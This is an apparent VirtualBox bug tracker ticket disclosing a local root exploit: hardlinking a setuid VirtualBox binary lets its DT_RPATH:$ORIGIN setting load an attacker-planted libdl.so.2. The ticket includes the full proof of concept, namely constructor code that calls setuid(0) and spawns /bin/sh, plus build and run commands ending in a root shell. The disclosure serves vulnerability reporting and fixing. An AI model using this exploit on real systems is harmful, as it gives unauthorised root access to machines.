Opened 15 years ago
Last modified 15 years ago
#3444 closed defect
privilege escalation due to DT_RPATH:$ORIGIN and set*id — at Initial Version
Reported by: | Mike Frysinger | Owned by: | |
---|---|---|---|
Component: | other | Version: | |
Keywords: | Cc: | ||
Guest type: | other | Host type: | Linux |
Description
hardlinks on Linux preserve permission, including set*id bits, and can be created by non-root users. virtualbox attempts to perform some sanity checks on the dir the binary exists in (presumably to prevent privilege escalation), however that is done after the constructors in shared libs are run. that means any library a virtualbox binary links against is an attack vector.
the constructor isnt the only attack vector ... you could also override any of the standard C library functions that virtualbox would call during its startup. like open() or stat() or ...
there really isnt many workarounds available here if DT_RPATH:$ORIGIN is continued to be used. perhaps making a small dedicated partition (loopback or whatever) and storing the binaries on there because hardlinks cannot go across partitions.
simple example:
$ id -u 1002 $ cat test.c #include <unistd.h> #include <sys/syscall.h> __attribute__((constructor)) void awesome(void) { char *argv[] = { "sh", NULL }; extern char *environ; syscall(SYS_setuid, 0); syscall(SYS_execve, "/bin/sh", argv, environ); } $ gcc -Wall test.c -fPIC -shared -o libdl.so.2 -Wl,-soname,libdl.so.2 $ ls -l /opt/VirtualBox/VirtualBox -r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 /opt/VirtualBox/VirtualBox $ ln /opt/VirtualBox/VirtualBox $ ls -l VirtualBox -r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 VirtualBox $ ./VirtualBox ./VirtualBox: /home/vapier/libdl.so.2: no version information available (required by ./VirtualBox) sh-4.0# whoami root